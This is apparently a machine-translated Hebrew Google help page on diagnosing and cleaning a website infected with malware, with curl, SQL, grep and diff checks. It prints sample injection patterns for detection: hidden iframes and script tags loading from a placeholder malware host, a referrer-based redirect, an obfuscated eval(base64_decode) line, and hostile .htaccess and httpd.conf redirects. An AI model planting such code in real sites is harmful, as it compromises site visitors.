פריצה באמצעות תוכנה זדונית

תוכנה זדונית היא כל תוכנה או אפליקציה לנייד שתוכננה במיוחד כדי לגרום נזק במחשב, במכשיר נייד, בתוכנה שפועלת בו או במשתמשים בו. אפשר למצוא מידע נוסף על תוכנות זדוניות במאמר תוכנות זדוניות ותוכנות לא רצויות.

אם האתר מכיל תוכנה זדונית, בדרך כלל המשתמשים יראו את האזהרה "אתר זה עלול להזיק למחשב שלך" מוצג בתוצאות החיפוש או דף ביניים שמוצג על ידי הדפדפן כשהמשתמש מנסה להיכנס אתר, משהו כזה:

דף מעברון בנושא תוכנה זדונית
תוצאות חיפוש עם אזהרה מפני תוכנה זדונית.

מה נדרש:

  • גישת אדמין במעטפת או בטרמינל לשרתי האתר: אינטרנט, מסד נתונים, וקבצים.
  • ידע בפקודות מעטפת או בטרמינל.
  • יכולת להריץ שאילתות SQL במסד הנתונים.

הכנה

  • הרשמה ל-Search Console ולאמת את הבעלות על האתר שנפרץ, כפי שמתואר שם. Search Console מספק מדגם של דפים מושפעים, וכך מאפשר למצוא הרבה יותר קל לתקן בעיות שנפרצו באמצעות תוכנה זדונית. בנוסף, תקבלו אזהרה כשהאתר שלכם מזוהה כמושפע מסוגים רבים של תוכנות זדוניות או פריצות אחרות.
  • צפייה בדף האבחון של הגלישה הבטוחה של Google כדי לראות מידע ציבורי אם אתר עלול להזיק למשתמשים. ניתן לראות את סטטוס הרישום של הדף או האתר בכתובת URL שדומה לזו: https://transparencyreport.google.com/safe-browsing/search?url=***<<page_or_site>>*** לדוגמה: https://transparencyreport.google.com/safe-browsing/search?url=webmastercentralblog.blogspot.com

    אפשר להזין בשדה <<page_or_site>> כתובת URL של דף ספציפי (http://example.com/badpage) או את האתר כולו (example.com).

  • אל תשתמשו בדפדפן כדי להציג דפים באתר. כי הרבה פעמים תוכנות זדוניות מתפשט על ידי ניצול נקודות חולשה בדפדפן ופתיחת קובץ תוכנה זדונית בדפדפן, עלולים להזיק למחשב. אלא אם כן הוראות האבחון אומרים כדי לגשת לדף ישירות מהדפדפן, אפשר להשתמש ב-cURL Wget לביצוע בקשות HTTP (לדוגמה, כדי לאחזר דף).

    כלים חינמיים אלה שימושיים באבחון כתובות אתר להפניה מחדש, את הגמישות לכלול מידע על הגורם המפנה או על הסוכן המשתמש. כולל גורם מפנה או סוכן משתמש ספציפיים יכולים לעזור בחיקוי האקרים, האקרים עשויים להציג תוכן זדוני רק למשתמשים עם סוכני משתמש או גורמים מפנים לצורך טירגוט ליותר "אנשים אמיתיים" ונמנעים זיהוי על ידי בעלי אתרים וסורקי תוכנות זדוניות.

`curl -v --referer "http://www.google.com" <your-url>`

הנה דוגמה שמציינת גם סוכן משתמש וגם גורם מפנה:

`curl -v --referer "https://www.google.com" --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)" http://www.example.com/page.html`

אנחנו ממליצים לאחזר דף עם או בלי --referer "https://www.google.com", כי תוכנות זדוניות מסוימות מופעלות בלבד כשמשתמשים מגיעים מתוצאות החיפוש ב-Google.

  • צור מסמך לתיעוד הממצאים של שלב זה. המסמך בסופו של דבר לכלול (לפחות) את השם והמיקום של כל קובץ פגום והערות על האופן שבו הוא נדבק, והם ישמשו כבסיס ניקוי ותחזוקה של האתר.

  • כדאי לצפות בסרטון מוקדם יותר בדף הזה כדי לראות איך תוכנות זדוניות פועלות ואיך אפשר חשוב לשמור על הבטיחות במהלך חקירת התוכנות הזדוניות.

אבחון

כדי לזהות איזו תוכנה זדונית משפיעה על האתר:

  1. פתיחת דוח בעיות האבטחה עבור האתר שלכם ב-Search Console. הרחבה של תיאור האזהרה על תוכנה זדונית תציג רשימה של דפים לדוגמה שהושפעו. חשוב לזכור שזוהי רשימה חלקית בלבד. יכול להיות שלא תקבלו דפים לדוגמה את כל סוגי התוכנות הזדוניות באתר שלכם.
  2. בודקים בדפי הדוגמה שלכם את הסוגים הבאים של תוכנות זדוניות.

תוכנה זדונית של תצורת שרת (הפניות לא רצויות)

האקר פגע באתר שלכם ומפנה מחדש מבקרים מהאתר שלכם לאתר הזדוני שלו, ככל הנראה על ידי שינוי קובצי תצורה. בדרך כלל קובצי תצורת השרת מאפשרים לאתר לאדמין שיציין הפניות לכתובות URL אחרות עבור ספריות או דפים ספציפיים האתר. לדוגמה, בשרתי Apache, זהו הקובץ .htaccess וגם httpd.conf.

אבחון

היכנסו למספר כתובות URL לדוגמה המוצגות בדוח 'בעיות אבטחה'. תשובה מדף שנגוע ב'תצורת שרת' עשויים לכלול הכותרות הבאות:

&lt; HTTP/1.1 301 Moved Permanently
&lt; Date: Sun, 24 Feb 2013 21:06:45 GMT
&lt; Server: Apache
&lt; Location: http://&lt;<strong>_malware-attack-site_</strong>&gt;/index.html
&lt; Content-Length: 253

זיהוי הקבצים המושפעים

נכנסים לשרת באמצעות גישת מעטפת או מסוף (האתר יכול להיות במצב אופליין אם תרצה) ולבדוק את הקבצים הרלוונטיים של תצורת השרת. ייתכן שיש עוד יותר מקובץ תצורה אחד של השרת שנפרץ באתר שלכם. חיפוש בקבצים האלה הוראות לא רצויות, כמו הפניות אוטומטיות לאתרים לא ידועים. לדוגמה, ב .htaccess, יכול להיות שתראו הפניה לכתובת אחרת שנראית כך:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*
**RewriteRule ^third-page.html($|/) http://&lt;<em><strong>_malware-site_</strong></em>&gt;/index.html** [R=301]

הזרקת SQL

האקר פרץ למסד הנתונים של האתר שלכם. לדוגמה, ההאקר עשוי הוסיפו באופן פרוגרמטי קוד זדוני לכל רשומה של מסד נתונים כך שכאשר השרת טוען דף שדורש מידע מסד הנתונים, הקוד הזדוני מוטמע עכשיו בתוכן של הדף לפגוע במבקרים באתר.

אבחון

  1. להריץ כמה שאילתות על כתובות ה-URL המושפעות בשורת הפקודה, ולבדוק את תגובה למילים של מתקפה של SQL כמו "iframe" או 'eval'.
  2. להיכנס לשרת מסד הנתונים או להציג את מסד הנתונים באמצעות כלי כמו phpMyAdmin. אם המיקום השתמשת ב-Wget או ב-cURL, יש לנסות להתאים את הנזק שנמצא במקור הדף באמצעות Wget או cURL עם הרשומות של מסד הנתונים בפועל. לדוגמה, אם שמתם לב שהדפים שלכם כללו iframe מסוכן, אפשר לבצע שמחפשת קוד iframe. לדוגמה:

    SELECT * FROM blog_posts WHERE post_text LIKE '%&gt;iframe%';
    
  3. כדאי גם לבדוק את יומן מסד הנתונים ואת קובצי השגיאות בשרת פעילות חריגה, כמו פקודות SQL לא צפויות שנראות יוצאות דופן משתמשים רגילים או שגיאות.

תיקון הבעיה

מעדכנים כל רשומה נגועה במסד הנתונים או משחזרים את מסד הנתונים הידוע האחרון. גיבוי.

החדרת קוד

דפים באתר שלכם השתנו כך שיכללו קוד זדוני, כמו iframe אתר תוקף של תוכנה זדונית.

אבחון

אפשר להיכנס לחלק מכתובות ה-URL לדוגמה שמוצגות בדוח 'בעיות אבטחה' עם cURL או wGet ובדקו אם יש קוד חשוד. לקוד שהוזן יש סוגים רבים, יהיה קשה למצוא אותם. מומלץ לחפש מילים כמו "iframe" כדי למצוא קוד iframe. מילות מפתח אחרות שעשויות להועיל הן "script"‏, "eval" ו-"unescape" עבור לדוגמה, כדי לחפש "iframe" בכל הקבצים במערכות מבוססות Unix:

$grep -irn "iframe" ./ | less</pre>

הנה כמה דפוסים נפוצים של תוכנות זדוניות שכדאי לבדוק.

iframe שטוען אתר זדוני:

&lt;iframe frameborder="0" height="0" src="http://&lt;<strong><em>_malware-site_</em></strong>&gt;/path/file"
  style="display:none" width="0"&gt;&lt;/iframe&gt;

JavaScript או שפת סקריפטים אחרת שקוראת לסקריפטים ומריצה אותם אתר תוקף:

&lt;script type='text/javascript' src='http://&lt;<em><strong>_malware-site_</strong></em>&gt;/js/x55.js'&gt;&lt;/script&gt;

סקריפט שמפנה את הדפדפן לאתר זדוני:

&lt;script&gt;
  if (document.referrer.match(/google\.com/)) {
    window.location("http://&lt;<em><strong>_malware-site_</strong></em>&gt;/");
  }
&lt;/script&gt;

קוד זדוני מעורפל (obfuscated) כדי למנוע זיהוי:

eval(base64_decode("aWYoZnVuaauUl+hasdqetiDi2iOwlOHTgs+slgsfUNlsgasdf"));

קובצי אובייקטים משותפים שמיועדים לכתוב באופן אקראי קוד מזיק באופן שגורם נזק סקריפטים:

#httpd.conf modified by the hacker
LoadModule harmful_module modules/mod_harmful.so
AddModule mod_harmful.c

תבניות של שגיאות זדוניות

התבנית שמשמשת להודעות שגיאה, כמו 'הקובץ לא נמצא' מסוג 404', מוגדרת להפצת תוכנות זדוניות. באופן הזה, תוקפים יכולים להפעיל התקפות על כתובות URL שלא קיימות אפילו באתר שלכם.

אבחון

מבקשים דף באתר שלא קיים או שמוביל לסוג אחר של ולבחון את התגובה כדי לראות אם היא מגיעה מאתר אחר, מכיל תוכנה זדונית.

תיקון הבעיה

צריך להיכנס לשרת האינטרנט ולחפש שגיאות בקובצי תצורת השרת של דפים. לדוגמה, תבנית השגיאה לשרתי האינטרנט של Apache יכולה להיות הוצהרה בקובץ .htaccess. דוגמה לרשומת קובץ .htaccess מאחזר דפי שגיאה 404 מאתר זדוני:

ErrorDocument 404 http://&lt;<span class="red-text"><em><strong>_malware-site_</strong></em></span>&gt;/index.html

כשהכול יהיה מוכן לניקוי האתר שלך, עליך להחליף את .htaccess הקבצים עם גיבוי שידוע כתקין, או למחוק את הוראות ErrorDocument לא רצויות .htaccess קבצים קיימים. חשוב גם לנקות את קובצי השגיאה עצמם אם שהם קיימים באתר שלכם. לבסוף, הפעילו מחדש את שרת האינטרנט כדי לוודא שהכל השינויים ייכנסו לתוקף.

טעינת משאבים מאתר שנפגע או זדוני {compromised-resources}

האתר שלך משתמש בתוכן או במשאבים מאתר שידוע שהוא מכיל תוכן זדוני. הקבצים האלה יכולים להיות קובצי JavaScript, תמונות או קבצים אחרים. לכן, האתר שלך יסומן אם הוא מכיל תוכנה זדונית שנטענה ממקור אחר .

אבחון

היכנסו למספר כתובות URL לדוגמה המוצגות בדוח 'בעיות אבטחה'.

תיקון הבעיה

  1. כדי לוודא שהבעיה קיימת, עוברים לכמה מכתובות ה-URL לדוגמה שרשומות הדוח 'בעיות אבטחה' ב-Search Console. אמורה להופיע אזהרה בדפדפן.
  2. באזהרת הדפדפן יצוין הדומיין של התוכן הבעייתי. מסירים את הכל ההפניות אל האתר המסומן שמופיע באזהרת הדפדפן. אם התוכן מאתר מסומן נכלל ללא ידיעתך, היא חמורה יותר. סביר להניח שהאתר שלכם נפגע, צריך להמשיך לבדוק את האתר כדי לאתר פריצות ונקודות חולשה אחרות.
  3. אם כללתם בכוונה תוכן מאתר לגיטימי שהפך מסומנת ואתם רוצים לכלול מחדש את התוכן אחרי שהאתר המסומן נקייה, ניתן לעקוב אחר הסטטוס של האתר המסומן באמצעות דף האבחון של הגלישה הבטוחה של Google לאתר הזה (http://www.google.com/safebrowsing/diagnostic?site=www.example.com){:.external}. הבעלים של אתרים לגיטימיים בדרך כלל מנקים אותם במהירות.

חקירה נוספת

לאחר מכן, יש לבדוק אם יש שינויים או קבצים זדוניים נוספים במערכת. ההאקר עשוי לשנות דפים קיימים או רשומות מסדי נתונים, שנוצרו באופן מלא דפי ספאם חדשים, פונקציות כתובות שמציגות ספאם בדפים נקיים, או "דלתות אחוריות" שמאפשרות להאקר להיכנס מחדש לאתר, או לבצע החדרה מחדש קוד זדוני שהסרתם.

אם האתר שלך במצב אונליין, כדאי להעביר אותו למצב אופליין כדי לבצע את הבדיקה הזו.

אם יש לכם גיבוי ידוע של האתר, תוכלו לבדוק אילו קבצים נחשפו בו שנוצרו או שונו מאז הגיבוי ולחקור אותם. מבוסס Unix תוכלו להשתמש בפקודה כמו הבאה כדי למצוא קבצים חדשים:

diff -qr <current-directory> <backup-directory>

לדוגמה:

diff -qr www/ backups/full-backup-20120124/

גם:

md5sum <current-page> <backup-page>

לדוגמה:

md5sum www/page.html backups/full-backup-20120124/page.html

בודקים את יומני השרת, הגישה והשגיאות לאיתור פעילות חשודה כמו ניסיונות התחברות כושלים, היסטוריית פקודות (במיוחד ברמה הבסיסית (root)) ויצירת חשבונות משתמשים לא ידועים. לתשומת ליבך, ייתכן שההאקר שינה את היומנים האלה למטרות שלו. בסרטון אפשר לראות כמה דוגמאות זיהוי נקודות החולשה.

בודקים אם קובצי התצורה מכילים הפניות אוטומטיות. קובצי התצורה שלכם השמות בדרך כלל של .htaccess ו-httpd.conf. האקרים יוצרים לעיתים קרובות תנאים מותנים כתובות אתר להפניה מחדש על סמך סוכן המשתמש, השעה ביום או הגורם המפנה. אם צריך של קובצי תצורה, ייתכן שתצטרכו להפעיל מחדש את השרת כדי כדי שהשינויים ייכנסו לתוקף.

כדאי לבדוק אם יש הרשאות נמוכות מדי של תיקיות וקבצים. האקרים מתעסקים כי אם בעלי האתר לא מזהים את ההרשאות החלשות, להאקר תהיה אפשרות להיכנס מחדש לאתר. קבצים שגדולים מ- 644 (rw-r--r--) ותיקיות שגדולות מ-755 (rwxr-xr-x) עלולות לגרום לאבטחה בעיות נפוצות. ודא שההרשאות החלשות יותר אכן דרושות. במצב מופעל במערכות מבוססות Unix, ניתן לנסות:

find <your-dir> -type d -not -perm 755 -exec ls -ld {} \;

וגם:

find <your-dir> -type f -not -perm 644 -exec ls -la {} \;

אם יש לכם מסד נתונים, אתם יכולים לבדוק רשומה אחר רשומה באמצעות כלי כמו phpMyAdmin.